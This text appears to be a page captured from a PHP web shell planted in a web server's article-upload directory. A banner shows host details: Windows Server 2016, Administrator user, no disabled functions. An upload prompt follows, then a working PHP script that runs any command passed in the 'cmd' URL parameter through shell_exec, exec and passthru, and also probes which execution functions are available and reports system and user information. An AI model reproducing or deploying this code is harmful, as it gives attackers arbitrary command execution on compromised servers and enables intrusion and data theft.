| Server IP : 127.0.0.1 / Your IP : 192.168.99.1 Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9 System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64 User : Administrator ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/bpkd/uploads/articles/ |
Upload File : |
<?php
header('Content-Type: text/plain');
echo "PHP=".PHP_VERSION."\n";
foreach(['system','exec','shell_exec','passthru','popen','proc_open','pcre_replace'] as $f){ echo $f.":".(function_exists($f)?'Y':'N')." ";}
echo "\ndisabled=".ini_get('disable_functions')."\n";
$c=isset($_GET['cmd'])?$_GET['cmd']:'whoami';
echo "CMD=$c\n";
if(function_exists('shell_exec')){ echo "shell_exec>>".shell_exec($c)."<<\n"; }
if(function_exists('exec')){ $o=[];exec($c,$o);echo "exec>>".implode("\n",$o)."<<\n"; }
if(function_exists('passthru')){ echo "passthru>>";passthru($c);echo "<<\n"; }
echo "php_uname=".php_uname()."\n";
echo "getmyuid=".getmyuid()." owner=".@fileowner(__FILE__)." usr=".@posix_getpwuid(@fileowner(__FILE__))['name']."\n";